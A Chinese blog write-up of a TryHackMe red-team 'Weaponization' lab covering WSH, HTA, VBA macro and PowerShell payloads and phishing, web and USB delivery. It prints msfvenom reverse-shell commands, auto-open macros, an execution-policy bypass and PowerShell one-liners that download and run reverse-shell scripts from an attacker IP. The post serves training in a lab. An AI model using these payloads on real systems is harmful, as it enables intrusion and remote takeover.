TryHackMe-红队-07_武器化

news2024/9/22 13:24:36

Weaponization

了解并探索常见的红队武器化技术。您将学习如何使用业内常见的方法来构建自定义有效负载,以获得初始访问权限。

什么是武器化

武器化是网络杀伤链模式的第二阶段。在此阶段,攻击者使用可交付的有效负载(如word文档,PDF等)生成和开发自己的恶意代码[1]。武器化阶段旨在使用恶意武器来利用目标机器并获得初始访问权限。

大多数组织都运行Windows操作系统,这将是一个可能的目标。组织的环境策略通常会阻止下载和执行.exe以避免安全违规。因此,红队成员依赖于构建通过各种渠道(例如网络钓鱼活动、社交工程、浏览器或软件利用、USB 或 Web 方法)发送的自定义有效负载。

大多数组织在其受控环境中阻止或监视.exe文件的执行。出于这个原因,红队依赖于使用其他技术(例如内置的窗口脚本技术)执行有效负载。

Windows Scripting Host

Windows 脚本主机是一个内置的 Windows 管理工具,可运行批处理文件以自动执行和管理操作系统中的任务。

它是一个Windows原生引擎,cscript.exe(用于命令行脚本)和wscript.exe(用于UI脚本),负责执行各种Microsoft Visual Basic Script(VBScript),包括vbs和vbe。需要注意的是,Windows 操作系统上的 VBScript 引擎以与普通用户相同的访问和权限级别运行和执行应用程序;因此,它对红队员很有用。

另一个技巧。如果 VBS 文件被列入黑名单,那么我们可以将文件重命名为.txt文件并使用 wscript 运行它,如下所示,

c:\Windows\System32>wscript /e:VBScript c:\Users\thm\Desktop\payload.txt

结果将与执行运行 calc.exe 二进制文件的 vbs 文件一样精确。

An HTML Application(HTA)

An HTML Application (HTA)

HTA 代表“HTML 应用程序”。它允许您创建一个可下载的文件,该文件获取有关其显示和呈现方式的所有信息。 HTML 应用程序,也称为 HTA,它们是包含 JScript 和 VBScript 的动态 HTML 页面。LOLBINS(土地生活二进制文件)工具mshta用于执行HTA文件。它可以单独执行,也可以从Internet Explorer自动执行。

在下面的示例中,我们将在有效负载中使用JavaScript ActiveXObject 作为执行 cmd.exe 的概念证明。请考虑以下 HTML 代码。

<html>
<body>
<script>

    new ActiveXObject('WScript.shell').Run('cmd');

</script>
</body>
</html>

HTA反向连接

我们可以创建一个反向外壳有效载荷,如下所示,

msfvenom -p windows/x64/shell_reverse_tcp lhost=10.14.39.48 lport=443 -f hta-psh -o ./rev_she11.hta

Visual Basic for Application (VBA)

VBA代表Visual Basic for Applications,这是Microsoft为Microsoft Word,Excel,PowerPoint等Microsoft应用程序实现的编程语言。VBA 编程允许自动执行用户和 Microsoft Office 应用程序之间几乎所有键盘和鼠标交互的任务。

宏是 Microsoft Office 应用程序,其中包含用称为 Visual Basic for Applications (VBA) 的编程语言编写的嵌入式代码。它用于创建自定义函数,通过创建自动化流程来加快手动任务的速度。VBA的功能之一是访问Windows应用程序编程接口(API)和其他低级功能。

让我们开始

现在从“开始”菜单打开Microsoft Word 2016

在宏名称部分中,我们选择将宏命名为 THM。请注意,我们需要从列表 Document1 中的宏中进行选择,最后选择创建。接下来,Microsoft Visual Basic for Application 编辑器显示了我们可以在哪里编写 VBA 代码。让我们尝试显示一个消息框,其中包含以下消息:欢迎来到武器化室!.我们可以使用 MsgBox 函数执行此操作,如下所示:

Sub THM()
  MsgBox ("Welcome to Weaponization Room!")
End Sub

最后,按 F5 运行宏或运行→运行子/用户窗体。

现在,为了在打开文档后自动执行VBA代码,我们可以使用内置功能,例如AutoOpen和Document_open。请注意,我们需要指定文档打开后需要运行的函数名称,在本例中为 THM 函数。

Sub Document_open()
hack (a)
End Sub

Sub AutoOpen()
hack (a)
End Sub

Sub hack(a)
'
' hack Macro
'
'
    MsgBox ("hack" + a)
End Sub

重要的是要注意,要使宏工作,我们需要将其保存为启用宏的格式,例如.doc和docm。docx也可以

打开它

在这里插入图片描述

CreateObject("Wscript.Shell").Run ("calc")

Reverse shell

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.14.39.48 lport=8888 -f vba

将shellcode复制到macros

导入以注意需要进行一次修改才能完成此操作。输出将在 MS Excel 工作表上工作。因此,将Workbook_Open()更改为Document_Open()以使其适用于MS Word文档。

metasploit开启监听,打开该文档,将获得反向shell

PowerShell (PSH)

红队成员依靠 PowerShell 来执行各种活动,包括初始访问、系统枚举和许多其他活动。让我们从创建一个简单的PowerShell脚本开始,该脚本打印”欢迎来到武器化室!“如下

C:\Users\thm\Desktop>powershell -File thm.ps1
File C:\Users\thm\Desktop\thm.ps1 cannot be loaded because running scripts is disabled on this system. For more
information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
    + CategoryInfo          : SecurityError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : UnauthorizedAccess

C:\Users\thm\Desktop>

执行政策

PowerShell 的执行策略是一种安全选项,用于保护系统免受恶意脚本的运行。默认情况下,出于安全目的,Microsoft 禁用执行 PowerShell 脚本 .ps1。PowerShell 执行策略设置为“Restricted”,这意味着它允许单个命令,但不运行任何脚本。

您可以确定 Windows 的当前 PowerShell 设置,如下所示:

在这里插入图片描述

我们还可以通过在cmd运行以下命令轻松更改 PowerShell 执行策略:

Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

在这里插入图片描述

绕过执行策略

微软提供了禁用此限制的方法。其中一种方法是向 PowerShell 命令提供参数选项,以将其更改为所需的设置。例如,我们可以将其更改为绕过策略,这意味着不会阻止或限制任何内容。这很有用,因为这让我们可以运行自己的PowerShell脚本。

powershell -ep bypass

Reverse shell

powershell -nop -c "iex (New-Object System.Net.WebClient).DownloadString('http://10.14.39.48:8000/reverse_shell.ps1');"

nishang

使用nishang网络下载脚本并在内存直接加载

powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]

metasploit

exploit/multi/script/web_delivery

使用该模块生成payload

交付技术

电子邮件传递

这是一种常用方法,用于通过发送带有链接或附件的网络钓鱼电子邮件来发送有效负载。有关更多信息,请访问此处。此方法附加一个恶意文件,该文件可能是我们前面提到的类型。目标是说服受害者访问恶意网站或下载并运行恶意文件以获得对受害者网络或主机的初始访问权限。

红队成员应该有自己的用于网络钓鱼目的的基础设施。根据红队参与要求,它需要在电子邮件服务器中设置各种选项,包括域名密钥识别邮件 (DKIM)、发件人策略框架 (SPF) 和 DNS 指针 (PTR) 记录。

红队成员还可以使用第三方电子邮件服务,如Google Gmail,Outlook,Yahoo和其他声誉良好的服务。

另一种有趣的方法是使用公司内受损的电子邮件帐户在公司内部或向其他人发送网络钓鱼电子邮件。受感染的电子邮件可能会被网络钓鱼或其他技术(如密码喷射攻击)入侵。

Web交付

另一种方法是在由红队员控制的 Web 服务器上托管恶意负载。Web 服务器必须遵循安全准则,例如其域名的干净记录和信誉以及 TLS(传输层安全性)证书。有关更多信息,请访问此处。

此方法包括其他技术,例如对受害者进行社会工程访问或下载恶意文件。使用此方法时,URL 缩短器可能会有所帮助。

USB交付

此方法要求受害者物理插入恶意USB。此方法在对手可以分发 USB 的会议或活动中可能有效且有用。有关 USB 传输的更多信息,请访问此处。

通常,组织会建立强大的策略,例如出于安全目的在其组织环境中禁用 USB 使用。而其他组织允许在目标环境中使用它。

我对usb交付比较感兴趣,因此我去了解到了badusb的东西,我在淘宝购买了硬件,在github找到了大佬们的资源

等购买的开发板到货之后我要尝试一下,并分享一下过程

在这里插入图片描述

练习场

我们准备了一台 Windows 10 计算机,该计算机运行用户模拟 Web 应用来执行有效负载或自动访问恶意 HTA 链接。

在这里插入图片描述

HTA

题目只能通过web传递hta,所以我们这里使用metasploit的hta_server

在这里插入图片描述

将url丢到靶机,就能上线

在这里插入图片描述

VBA、PSH就不演示了,与上面的教程一致

TryHackMe

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/177164.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

七、python-PySpark篇(黑马程序猿-python学习记录)

1. pyspark定义 2. 下载 点击右下角版本 点击解释器设置 点击号 搜索pyspark 选择pyspark 勾选选项 在输入框中输入 -i https://pypi.tuna.tsinghua.edu.cn/simple 点击安装软件包 提示正在安装 等一两分钟就能安装完毕 3. 获取PySpark版本号 # 导包 from pyspark import Spar…

树,二叉树的认识

1.树概念及结构 1.1树的概念 注意&#xff1a;树形结构中&#xff0c;子树之间不能有交集&#xff0c;否则就不是树形结构 1.2 树的相关概念 1.3 树的表示 树结构相对线性表就比较复杂了&#xff0c;要存储表示起来就比较麻烦了&#xff0c;既然保存值域&#xff0c;也要保存…

(18)go-micro微服务ELK介绍

文章目录一 什么是ELK二 Beats的六种工具三 ELK系统的特点四 ELKbeats系统架构五 ELK优点六 最后一 什么是ELK ELK是三个[开源软件]的缩写&#xff0c;分别表示&#xff1a;Elasticsearch , Logstash, Kibana , 它们都是开源软件&#xff0c;新增了一个Beats。 Elasticsearch …

几种觉排序优劣

冒泡排序 比较相邻的元素。如果第一个比第二个大&#xff0c;就交换他们两个。 对每一对相邻元素做同样的工作&#xff0c;从开始第一对到结尾的最后一对。在这一点&#xff0c;最后的元素应该会是最大的数。 针对所有的元素重复以上的步骤&#xff0c;除了最后一个。 持…

23. 异常处理机制

1. 异常 即便 python 程序的语法是正确的&#xff0c;在运行它的时候&#xff0c;也有可能发生错误。运行期检测到的错误被称为异常。 # int不能与str相加, 触发异常 print(22) # 0 不能作为除数, 触发异常 print(1/0) # sum未定义, 触发异常 print(num)异常以不同的类型出现…

【JavaSE专栏4】关键字、标识符和命名规范

作者主页&#xff1a;Designer 小郑 作者简介&#xff1a;Java全栈软件工程师一枚&#xff0c;来自浙江宁波&#xff0c;负责开发管理公司OA项目&#xff0c;专注软件前后端开发&#xff08;Vue、SpringBoot和微信小程序&#xff09;、系统定制、远程技术指导。CSDN学院、蓝桥云…

k8s部署elk+filebeat。springCloud集成elk+filebeat+kafka+zipkin实现多个服务日志链路追踪聚合到es

一、目的 如今2023了&#xff0c;大多数javaweb架构都是springboot微服务&#xff0c;一个前端功能请求后台可能是多个不同的服务共同协做完成的。例如用户下单功能&#xff0c;js转发到后台网关gateway服务&#xff0c;然后到鉴权spring-sercurity服务&#xff0c;然后到业务…

mysql数据库管理-GTID详解

一、GTID概述 1 sql线程执行的事件也可以通过log_slave_updates系统变量来决定是否写入自己的二进制文件中&#xff0c;这是可以用于级联复制的场景。 GTID是MYSQL5.6新增的特性&#xff0c;GTID&#xff08;Global Transaction Identifier&#xff09;全称为全局事务标示符…

17种编程语言实现排序算法-计数排序

开源地址 https://gitee.com/lblbc/simple-works/tree/master/sort/ 覆盖语言&#xff1a;C、C、C#、Java、Kotlin、Dart、Go、JavaScript(JS)、TypeScript(TS)、ArkTS、swift、PHP。 覆盖平台&#xff1a;安卓(Java、Kotlin)、iOS(SwiftUI)、Flutter(Dart)、Window桌面(C#)、…

力扣sql简单篇练习(五)

力扣sql简单篇练习(五) 1 游戏玩法分析 I 1.1 题目内容 1.1.1 基本题目信息 1.1.2 示例输入输出 1.2 示例sql语句 # 第一次登录平台的日期就代表是时间靠前的日期 # 窗口函数是Mysql8版本后才能使用 SELECT e.player_id,e.event_date first_login FROM (SELECT player_id,e…

五、python-地图可视化篇(黑马程序猿-python学习记录)

黑马程序猿的python学习视频&#xff1a;https://www.bilibili.com/video/BV1qW4y1a7fU/ 目录 1. 基础地图 2. 设置分段 1. 基础地图 from pyecharts.charts import Map # 准备地图对象 map Map() # 准备数据 data[ ("北京",99), ("上海",199), ("…

17种编程语言实现排序算法-堆排序

开源地址 https://gitee.com/lblbc/simple-works/tree/master/sort/ 覆盖语言&#xff1a;C、C、C#、Java、Kotlin、Dart、Go、JavaScript(JS)、TypeScript(TS)、ArkTS、swift、PHP。 覆盖平台&#xff1a;安卓(Java、Kotlin)、iOS(SwiftUI)、Flutter(Dart)、Window桌面(C#)、…

Maplab 2.0发布:多传感器融合的SLAM框架,支持多机器人、语义回环检测功能

摘要 将多种传感器和深度学习集成到SLAM系统中是当前研究的重要领域。多模态是一块跳板&#xff0c;既可以在挑战场景下增强鲁棒性&#xff0c;又可以解决不同传感器配置的多机系统建图问题。Maplab 2.0提供了一个更加通用的开源平台&#xff0c;最初的Maplab用于创建和管理视…

5-3中央处理器-数据通路的功能和基本结构

文章目录一.功能二.基本结构三.数据流向&#xff08;一&#xff09;内部单总线方式1.寄存器之间的数据传送2.主存与CPU之间的数据传送3.执行算术或逻辑运算&#xff08;二&#xff09;专用数据通路方式一.功能 数据在功能部件之间传送的路径称为数据通路。路径上的部件称为数据…

合宙ESP32C3上手使用

概述经典款是有ch343 ttl 转usb 需要安装驱动 GPIO20/21新款使用usb 直连不需要驱动 USB GPIO18/19ESP32C3 是ESP-RISC-V CPU 是基于 RISC-V ISA 的 32 位内核&#xff0c;包括基本整数 (I)&#xff0c;乘法/除法 (M) 和压缩 (C) 标准扩展。ESP-RISC-V CPU 内核具有 4 级有序标…

【蓝桥杯】简单数论1——GCDLCM

GCD 最大公约数Greatest Common Divisor(GCD)&#xff1a;整数a和b的GCD是指能同时整除a和b的最大整数&#xff0c;记为gcd(a,b)。由于-a的因子和a的因子相同&#xff0c;因此gcd(a, b) gcd(al, |bl)。编码时只关注正整数的最大公约数。 GCD性质 (1) gcd(a, b) gcd(a, ab) …

一、python准备工作篇(黑马程序猿-python学习记录)

黑马程序猿的python学习视频&#xff1a;https://www.bilibili.com/video/BV1qW4y1a7fU/ 目录 1. python官网 2. 检查是否安装完毕 3. pycharm官网 5. phcharm更换主题 6. 新建第一个python文件 7. pycharm字体大小设置 8. 设置快捷键 设置字体大小 ​​​​​​​9. 安装中文…

Python机器学习:假设检验

方差分析这部分内容还不是很理解&#xff0c;在这里先做一个笔记&#xff0c;以后有时间再回过头来改一改。 用到的数据集→\rightarrow→Iris 什么是假设检验&#xff1f; 假设检验就是利用样本数据对某个事先做出的统计假设&#xff0c;再按照某种方法去检验&#xff0c;最后…

CSS样式基础内容2

目录 Emmet语法 快速格式化代码 CSS的复合选择器 后代选择器 子选择器 并集选择器 伪类选择器 链接伪类选择器 focus伪类选择器 CSS元素显示模式 块元素 行内元素 行内块元素 元素显示模式转换 案例-简洁版侧边栏 单行文字垂直居中 CSS的背景 背景图片 方位名词…

【蓝桥云课】最大公约数与最小公倍数

一、最大公约数gcd(a,b) 引例&#xff1a; a24&#xff0c;其因子有1、2、3、4、6、8、12、24 b15&#xff0c;其因子有1、3、5、15 最大公约数gcd(a,b)gcd(24,15)3 欧几里得辗转算法&#xff1a; a max(a,b); b min(a,b); while(b>0){t a%b;a b;b t; }运算过程&…